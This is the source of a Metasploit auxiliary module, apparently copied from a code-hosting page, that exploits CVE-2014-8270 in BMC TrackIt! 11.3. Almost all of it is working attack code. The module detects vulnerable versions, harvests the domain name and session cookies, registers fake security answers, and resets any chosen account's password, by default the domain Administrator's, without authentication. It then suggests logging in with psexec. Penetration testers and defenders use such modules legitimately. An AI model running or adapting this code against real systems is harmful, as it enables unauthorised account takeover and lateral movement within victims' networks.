Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(update_info(12info,13'Name' => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change',14'Description' => %q(15This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.316and possibly prior versions. If the password reset service is configured to use17a domain administrator (which is the recommended configuration), then domain18credentials can be reset (such as domain Administrator).19),20'References' =>21[22['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-14-419/'],23['CVE', '2014-8270']24],25'Author' =>26[27'bperry', # discovery/metasploit module,28'jhart'29],30'License' => MSF_LICENSE,31'DisclosureDate' => '2014-12-09'32))3334register_options(35[36OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),37OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']),38OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),39OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])40])41end4243def localuser44datastore['LOCALUSER']45end4647def password_reset48begin49uri = normalize_uri(target_uri.path, 'PasswordReset')50send_request_cgi('uri' => uri)51rescue => e52vprint_error("#{peer}: unable to request #{uri}: #{e}")53nil54end55end5657def check_host(ip)58vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")5960unless (res = password_reset)61return62end6364if res.body =~ /<title>Track-It! Password Reset/i65version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first66if version67fix_version = '11.4'68if Rex::Version.new(version) < Rex::Version.new(fix_version)69report_vuln(70host: ip,71port: rport,72name: name,73info: "Module #{fullname} detected Track-It! version #{version}",74refs: references75)76vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")77return Exploit::CheckCode::Vulnerable78else79vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")80return Exploit::CheckCode::Safe81end82else83vprint_error("#{peer}: unable to get Track-It! version")84return Exploit::CheckCode::Unknown85end86else87vprint_status("#{peer}: does not appear to be running Track-It!")88return Exploit::CheckCode::Safe89end90end9192def run_host(ip)93return unless check_host(ip) == Exploit::CheckCode::Vulnerable9495if datastore['DOMAIN'].blank?96vprint_status("#{peer}: retrieving session cookie and domain name")97else98vprint_status("#{peer}: retrieving domain name")99end100101unless (res = password_reset)102return103end104105cookies = res.get_cookies106if datastore['DOMAIN'].blank?107if res.body =~ /"domainName":"([^"]*)"/108domain = Regexp.last_match(1)109vprint_status("#{peer}: found domain name: #{domain}")110else111print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN")112return113end114else115domain = datastore['DOMAIN']116end117118full_user = "#{domain}\\#{localuser}"119vprint_status("#{peer}: registering #{full_user}")120answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]121res = send_request_cgi(122'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),123'method' => 'POST',124'cookie' => cookies,125'vars_post' => {126'domainname' => domain,127'userName' => localuser,128'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',129'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),130'updatequesChk' => 'false',131'SelectedQuestion' => 2,132'answer' => answers.last,133'confirmanswer' => answers.last134}135)136137if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"138print_error("#{peer}: Could not register #{full_user}")139return140end141142vprint_status("#{peer}: changing password for #{full_user}")143144if datastore['LOCALPASS'].blank?145password = Rex::Text.rand_text_alpha(10) + "!1"146else147password = datastore['LOCALPASS']148end149150res = send_request_cgi(151'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),152'method' => 'POST',153'cookie' => cookies,154'vars_post' => {155'newPassword' => password,156'domain' => domain,157'UserName' => localuser,158'CkbResetpassword' => 'true'159}160)161162if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'163print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")164return165end166167report_vuln(168host: ip,169port: rport,170name: name,171info: "Module #{fullname} changed #{full_user}'s password to #{password}",172refs: references173)174print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")175end176end177178179